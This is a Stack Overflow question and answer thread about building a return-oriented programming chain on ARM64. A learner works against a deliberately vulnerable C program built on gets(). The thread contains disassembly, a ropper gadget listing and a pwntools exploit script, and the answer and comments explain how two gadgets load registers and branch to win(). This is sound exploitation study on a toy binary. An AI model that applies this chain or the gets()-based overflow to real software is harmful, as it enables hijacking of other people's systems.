4

I am studying Rop on ARM (64 bit). So i am testing Rop vulnerability on my ARMv8 Cortex A-72 in order to understand how it works on Arm64. I wrote a very simple c vulnerable code:

#include <stdio.h>
#include <string.h>

void win(unsigned magic){
    if(magic == 0xdeadbeef)
        printf("I Should Never be Called!\n");
}

void vuln(){
    char buffer[80];
    printf("Buffer at:%p\n",buffer);
    gets(buffer);
}

int main(int argc, char **argv){

    vuln(); 
}

In order to call the win function i think the correct rop chain is:

offset + pop {x0,pc} + correct_argument + win_address

This is the assembly code:

Dump of assembler code for function main:

   0x00000055555557f8 <+0>:     stp     x29, x30, [sp, #-32]!
   0x00000055555557fc <+4>:     mov     x29, sp
   0x0000005555555800 <+8>:     str     w0, [sp, #28]
   0x0000005555555804 <+12>:    str     x1, [sp, #16]
   0x0000005555555808 <+16>:    bl      0x55555557c8 <vuln>
   0x000000555555580c <+20>:    mov     w0, #0x0                        // #0
   0x0000005555555810 <+24>:    ldp     x29, x30, [sp], #32
   0x0000005555555814 <+28>:    ret

Dump of assembler code for function vuln:
   0x00000055555557c8 <+0>:     stp     x29, x30, [sp, #-96]!
   0x00000055555557cc <+4>:     mov     x29, sp
   0x00000055555557d0 <+8>:     add     x0, sp, #0x10
   0x00000055555557d4 <+12>:    mov     x1, x0
   0x00000055555557d8 <+16>:    adrp    x0, 0x5555555000
   0x00000055555557dc <+20>:    add     x0, x0, #0x8c0
   0x00000055555557e0 <+24>:    bl      0x5555555680 <printf@plt>
   0x00000055555557e4 <+28>:    add     x0, sp, #0x10
   0x00000055555557e8 <+32>:    bl      0x5555555690 <gets@plt>
   0x00000055555557ec <+36>:    nop
   0x00000055555557f0 <+40>:    ldp     x29, x30, [sp], #96
   0x00000055555557f4 <+44>:    ret

Dump of assembler code for function win:
   0x00000055555557b4 <+0>:     sub     sp, sp, #0x10
   0x00000055555557b8 <+4>:     str     w0, [sp, #12]
   0x00000055555557bc <+8>:     nop
   0x00000055555557c0 <+12>:    add     sp, sp, #0x10
   0x00000055555557c4 <+16>:    ret

I disabled the ASLR first. Then using gdb i identified the offset at which the pc gets overwritten. The offset is 96 bytes. The last 8 bytes of the offset overflow the link register therefore the pc will point to that. So the next step is to search the right gadget. Since i am working on ARMv8 and the function win() takes one argument i am looking for a pop {x0, pc} gadget to mount my rop chain. I used ropper to search for gadgets to build the rop chain. Following the output of ropper command:

0x00000000000007c0: add sp, sp, #0x10; ret; 
0x00000000000007e4: add x0, sp, #0x10; bl #0x690; nop; ldp x29, x30, [sp], #0x60; ret; 
0x0000000000000648: add x16, x16, #0; br x17; 
0x0000000000000668: add x16, x16, #0x10; br x17; 
0x0000000000000678: add x16, x16, #0x18; br x17; 
0x0000000000000688: add x16, x16, #0x20; br x17; 
0x0000000000000698: add x16, x16, #0x28; br x17; 
0x000000000000062c: add x16, x16, #0xff8; br x17; 
0x0000000000000658: add x16, x16, #8; br x17; 
0x0000000000000870: add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3; 
0x00000000000006d8: adrp x0, #0x10000; ldr x0, [x0, #0xfc8]; cbz x0, #0x6e8; b #0x660; ret; 
0x0000000000000708: adrp x1, #0x10000; ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; 
0x0000000000000708: adrp x1, #0x10000; ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; ret; 
0x0000000000000624: adrp x16, #0x10000; ldr x17, [x16, #0xff8]; add x16, x16, #0xff8; br x17; 
0x0000000000000660: adrp x16, #0x11000; ldr x17, [x16, #0x10]; add x16, x16, #0x10; br x17; 
0x0000000000000670: adrp x16, #0x11000; ldr x17, [x16, #0x18]; add x16, x16, #0x18; br x17; 
0x0000000000000680: adrp x16, #0x11000; ldr x17, [x16, #0x20]; add x16, x16, #0x20; br x17; 
0x0000000000000690: adrp x16, #0x11000; ldr x17, [x16, #0x28]; add x16, x16, #0x28; br x17; 
0x0000000000000650: adrp x16, #0x11000; ldr x17, [x16, #8]; add x16, x16, #8; br x17; 
0x0000000000000640: adrp x16, #0x11000; ldr x17, [x16]; add x16, x16, #0; br x17; 
0x0000000000000744: adrp x2, #0x10000; ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; 
0x0000000000000744: adrp x2, #0x10000; ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; ret; 
0x00000000000006e4: b #0x660; ret; 
0x00000000000007b0: b #0x720; sub sp, sp, #0x10; str w0, [sp, #0xc]; nop; add sp, sp, #0x10; ret;                                                                           
0x0000000000000704: b.eq #0x71c; adrp x1, #0x10000; ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16;                                                              
0x0000000000000884: b.ne #0x868; ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;                           
0x00000000000006d4: bl #0x670; adrp x0, #0x10000; ldr x0, [x0, #0xfc8]; cbz x0, #0x6e8; b #0x660; ret;                                                                      
0x00000000000007e0: bl #0x680; add x0, sp, #0x10; bl #0x690; nop; ldp x29, x30, [sp], #0x60; ret;                                                                           
0x00000000000007e8: bl #0x690; nop; ldp x29, x30, [sp], #0x60; ret; 
0x0000000000000610: bl #0x6d8; ldp x29, x30, [sp], #0x10; ret; 
0x0000000000000790: bl #0x6f0; movz w0, #0x1; strb w0, [x19, #0x40]; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;                                                  
0x0000000000000808: bl #0x7c8; movz w0, #0; ldp x29, x30, [sp], #0x20; ret; 
0x000000000000087c: blr x3; 
0x0000000000000718: br x16; 
0x0000000000000718: br x16; ret; 
0x0000000000000630: br x17; 
0x00000000000006e0: cbz x0, #0x6e8; b #0x660; ret; 
0x0000000000000710: cbz x1, #0x71c; mov x16, x1; br x16; 
0x0000000000000710: cbz x1, #0x71c; mov x16, x1; br x16; ret; 
0x0000000000000740: cbz x1, #0x758; adrp x2, #0x10000; ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16;                                                           
0x000000000000074c: cbz x2, #0x758; mov x16, x2; br x16; 
0x000000000000074c: cbz x2, #0x758; mov x16, x2; br x16; ret; 
0x0000000000000888: ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;                                        
0x000000000000088c: ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;                                                                   
0x0000000000000890: ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret; 
0x0000000000000614: ldp x29, x30, [sp], #0x10; ret; 
0x00000000000007a0: ldp x29, x30, [sp], #0x20; ret; 
0x0000000000000894: ldp x29, x30, [sp], #0x40; ret; 
0x00000000000007f0: ldp x29, x30, [sp], #0x60; ret; 
0x00000000000006dc: ldr x0, [x0, #0xfc8]; cbz x0, #0x6e8; b #0x660; ret; 
0x000000000000070c: ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; 
0x000000000000070c: ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; ret; 
0x0000000000000664: ldr x17, [x16, #0x10]; add x16, x16, #0x10; br x17; 
0x0000000000000674: ldr x17, [x16, #0x18]; add x16, x16, #0x18; br x17; 
0x0000000000000684: ldr x17, [x16, #0x20]; add x16, x16, #0x20; br x17; 
0x0000000000000694: ldr x17, [x16, #0x28]; add x16, x16, #0x28; br x17; 
0x0000000000000628: ldr x17, [x16, #0xff8]; add x16, x16, #0xff8; br x17; 
0x0000000000000654: ldr x17, [x16, #8]; add x16, x16, #8; br x17; 
0x0000000000000644: ldr x17, [x16]; add x16, x16, #0; br x17; 
0x000000000000079c: ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret; 
0x0000000000000748: ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; 
0x0000000000000748: ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; ret; 
0x0000000000000868: ldr x3, [x21, x19, lsl #3]; mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3;                                                            
0x0000000000000878: mov w0, w22; blr x3; 
0x0000000000000874: mov x1, x23; mov w0, w22; blr x3; 
0x0000000000000714: mov x16, x1; br x16; 
0x0000000000000714: mov x16, x1; br x16; ret; 
0x0000000000000750: mov x16, x2; br x16; 
0x0000000000000750: mov x16, x2; br x16; ret; 
0x000000000000086c: mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3; 
0x000000000000060c: mov x29, sp; bl #0x6d8; ldp x29, x30, [sp], #0x10; ret; 
0x00000000000008a8: mov x29, sp; ldp x29, x30, [sp], #0x10; ret; 
0x000000000000080c: movz w0, #0; ldp x29, x30, [sp], #0x20; ret; 
0x0000000000000794: movz w0, #0x1; strb w0, [x19, #0x40]; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;                                                             
0x0000000000000620: stp x16, x30, [sp, #-0x10]!; adrp x16, #0x10000; ldr x17, [x16, #0xff8]; add x16, x16, #0xff8; br x17;                                                  
0x0000000000000608: stp x29, x30, [sp, #-0x10]!; mov x29, sp; bl #0x6d8; ldp x29, x30, [sp], #0x10; ret;                                                                    
0x00000000000008a4: stp x29, x30, [sp, #-0x10]!; mov x29, sp; ldp x29, x30, [sp], #0x10; ret;                                                                               
0x0000000000000800: str w0, [sp, #0x1c]; str x1, [sp, #0x10]; bl #0x7c8; movz w0, #0; ldp x29, x30, [sp], #0x20; ret;                                                       
0x00000000000007b8: str w0, [sp, #0xc]; nop; add sp, sp, #0x10; ret; 
0x0000000000000804: str x1, [sp, #0x10]; bl #0x7c8; movz w0, #0; ldp x29, x30, [sp], #0x20; ret;                                                                            
0x0000000000000798: strb w0, [x19, #0x40]; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;                                                                            
0x00000000000007b4: sub sp, sp, #0x10; str w0, [sp, #0xc]; nop; add sp, sp, #0x10; ret;                                                                                     
0x00000000000007bc: nop; add sp, sp, #0x10; ret; 
0x000000000000063c: nop; adrp x16, #0x11000; ldr x17, [x16]; add x16, x16, #0; br x17;                                                                                      
0x00000000000007ec: nop; ldp x29, x30, [sp], #0x60; ret; 
0x0000000000000638: nop; nop; adrp x16, #0x11000; ldr x17, [x16]; add x16, x16, #0; br x17; 
0x000000000000089c: nop; ret; 
0x0000000000000618: ret; 

How you can see there is no gadgets like pop {x0,pc} however reading the armv8 cheat sheet the ldp x29, x30, [sp], #0x60 pop x29 and x30 from the stack so basically we can consider ldp as a pop instruction. But again there is no gadget which pop the x0 register from stack.

So my question is: How can i mount the rop chain having that gadgets from roppper ?

Please help me to understand it. Thank you.

My exploit:

from pwn import *

#gadget
win = p64(0x000000555555580c)
gadget_ldp = p64(0x00000000000008f8) #ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;

gadget_ldr = p64(0x00000000000008d8) # ldr x3, [x21, x19, lsl #3]; mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3;

magic = p64(0xdeadbeef)
buf = p64(0x7ffffff000)

#payload
payload = b'\x90'*56;
payload += win;
payload += b'\x90'*24; #offset
payload += gadget_ldp;
payload += b'\x00'*8; #in x19 must be zero
payload += b'\x90'*8; # ldp register x20
payload += buf; #ldp register x21
payload += magic; #ldp register x22
payload += b'\x90'*8; #ldp register x23
payload += b'\x90'*8; #ldp register x24
payload += gadget_ldr;
    
#make connection to the binary and send payload
conn = process('./badcode')
conn.sendline(payload)
print(conn.recvline())
conn.interactive()
Sp00nc3
  • 87
  • 1
  • 8
  • I'm looking at `079c` which should let you load `x19` from the stack. Now we need to get it into `x0`... – Nate Eldredge Jun 12 '21 at 15:17
  • Note as written your code is impossible: the `magic` parameter to `win()` is a 32-bit `int` but you are comparing it to a 64-bit value. Indeed you can see that the compiler has noticed the test is always false and has optimized out your `printf("I Should Never be Called!\n");`. What should be there instead? If you really do want `magic` to be 32 bits then things are easier as we only need to load `w0`, and there are a lot more instructions to load or move to `w0` than `x0`. – Nate Eldredge Jun 12 '21 at 15:21
  • Oh, also `0888` which lets us pop all of `x19-x24` from stack. Actually I feel like that combined with `0868` ought to do the trick, assuming again that it's only `w0` we need to populate. – Nate Eldredge Jun 12 '21 at 15:22
  • @NateEldredge It is a test so it does not matter if magic is a 32 or 64 bit. So with the `079c`gadget we can load x19 from the stack and it is ok, but now how can we go on ? I mean Do we need x0 register right ? – Sp00nc3 Jun 12 '21 at 15:29
  • @NateEldredge I edited the magic argument as unsigned long long which is a 64 bit data type, now it should be ok – Sp00nc3 Jun 12 '21 at 15:34
  • Oh darn, making it `unsigned long long` makes it hard. My idea above of `0x0888 + 0x0868` will let us get to `win()` with `w0` set to whatever we want, but I don't yet see a way to get the high half of `x0`. – Nate Eldredge Jun 12 '21 at 15:34
  • @NateEldredge ok so How can i modify it ? – Sp00nc3 Jun 12 '21 at 15:36
  • If you make `magic` just an `unsigned` and compare it against `0xdeadbeef` then I think I can solve it. – Nate Eldredge Jun 12 '21 at 15:37
  • @NateEldredge i didi it, now how should the rop chain be? What kind of gadgets should i use to mount it ? – Sp00nc3 Jun 12 '21 at 15:40
  • Why do you ask "Please help me to understand it" after your own exploit? If that last edit to insert that code block is working code that does what you were trying to do, probably best to post it as an *answer* to the question, not as part of the question unless you really don't understand how / why your own code works. (Or doesn't work?) – Peter Cordes Jun 12 '21 at 16:46
  • @PeterCordes i am sorry ii was my fault. I meant rop on arm64 of course – Sp00nc3 Jun 12 '21 at 16:50

1 Answers1

5

With the gadget at 0x0888 we can load all of x19-x24 from the stack and return, so we can set all their values arbitrarily and go on.

0x0878 has mov w0, w22, which is nice, but then the branch is to x3 which we don't yet control.

But back up a few instructions and look at the 0x0868 gadget. Notable for us is:

    ldr x3, [x21, x19, lsl #3]
    //...
    mov w0, w22
    blr x3

So if in our previous step, we loaded x21 with some address where a pointer to win can be found (maybe a place on the stack that we've set), and set x19 to zero, then we get win in x3. And likewise if in our previous step we loaded x22 with 0xdeadbeef, then we get it in w0 here. So we should be able to branch to win with w0 set as desired.

Nate Eldredge
  • 48,811
  • 6
  • 54
  • 82
  • ok so if I’ve understood correctly the rop chain will be: `offset + 0x0888 + junk (it does not matter what is within x19 and 20 registers)+ win address (in x21 register) + 0xdeadbeef (in x22 register) + junk (it does not matter what is within x23 and 24 registers) + 0x0868 gadget or ldp x29, x30, [sp], #0x40 + 0x0868 gadget ` ? – Sp00nc3 Jun 12 '21 at 15:59
  • 1
    Close, but instead of `win address (in x21 register)` you need `pointer to win address`. And it does matter what's in `x19`; it must be zero. – Nate Eldredge Jun 12 '21 at 16:03
  • why x19 must be zero ? and how can i add a pointer to win ? where can i get it ? – Sp00nc3 Jun 12 '21 at 16:06
  • I edited the main question with the python exploit in order to better understand your answer and mount the correct rop chain. Please can you give me the advices following the exploit ? Note: the addresses of the gadget are changed but of course i chose them in according to your answer – Sp00nc3 Jun 12 '21 at 16:30
  • For `x19`: Look at the instruction we are using: `ldr x3, [x21, x19, lsl #3]`. The effective address is `x21 + (x19 << 3)`. If we put the desired address in `x21` then we need `x19` to be zero. Of course, you could have some more complicated combination of the two, but neither one can just be garbage. – Nate Eldredge Jun 12 '21 at 16:45
  • For the pointer to `win`: If the stack address isn't random, then you can put the address of `win` somewhere higher up the stack, and insert here the address of where it was put. For instance, if you know the overflowed buffer is at `0x12345678`, then you could put the address of `win` in your payload at offset, say, `0x100`, and insert `0x12345778` in the slot that gets loaded to `x21`. Or, maybe you can search the executable and find the address of `win` somewhere else in memory. – Nate Eldredge Jun 12 '21 at 16:48
  • It's not a slam dunk, I admit. If it doesn't work then I guess it's back to the drawing board. It's not like there is guaranteed to be a solution. @Sp00nc3 – Nate Eldredge Jun 12 '21 at 16:49
  • is the payload correct now ? it does not work in case of it is correct – Sp00nc3 Jun 12 '21 at 16:54
  • 1
    I think you're missing a `+=` on the second line. And putting `win` at the bottom of the stack is a little dangerous, since it will be below `sp` by the end of the exploit and in principle a signal handler could overwrite it. That's why I suggested putting it further up. Still, it's likely to work the vast majority of the time. So I would think it would work. However, keep in mind I cannot test it, so further debugging will be up to you. – Nate Eldredge Jun 12 '21 at 16:58
  • OK i fixed the payload, i tried to debug it and after the injection the payload is correctly alligned in memory but it does not work. When i overwrite the pc with the address of the first gadget i got `stopped 0x8f8 in ?? ()` `[!] Cannot access memory at address 0x8f8` – Sp00nc3 Jun 12 '21 at 17:47
  • 1
    Oh, you'll need to find out where those gadgets are actually loaded in memory. `0x8f8` can't be the actual address because it's on the zeroth page. ropper is evidently reporting something else, maybe offsets into the text segment, or offsets into the binary file itself. – Nate Eldredge Jun 12 '21 at 17:51
  • How can i do that ? – Sp00nc3 Jun 12 '21 at 17:53
  • Ask a separate question :-) – Nate Eldredge Jun 12 '21 at 17:53
  • 1
    A new main question ? Anyway the prototype of the exploit is right ? – Sp00nc3 Jun 12 '21 at 17:54
  • Yes, please. It is a separate issue than your current question about choosing gadgets, and I do not know the answer off the top of my head, so you may get attention from someone who does. – Nate Eldredge Jun 12 '21 at 17:55
  • @Sp00nc3: Yes, I believe it would work if the addresses of the gadgets were right. Of course I could be wrong again... – Nate Eldredge Jun 12 '21 at 17:56
  • Let us [continue this discussion in chat](https://chat.stackoverflow.com/rooms/233742/discussion-between-sp00nc3-and-nate-eldredge). – Sp00nc3 Jun 14 '21 at 08:07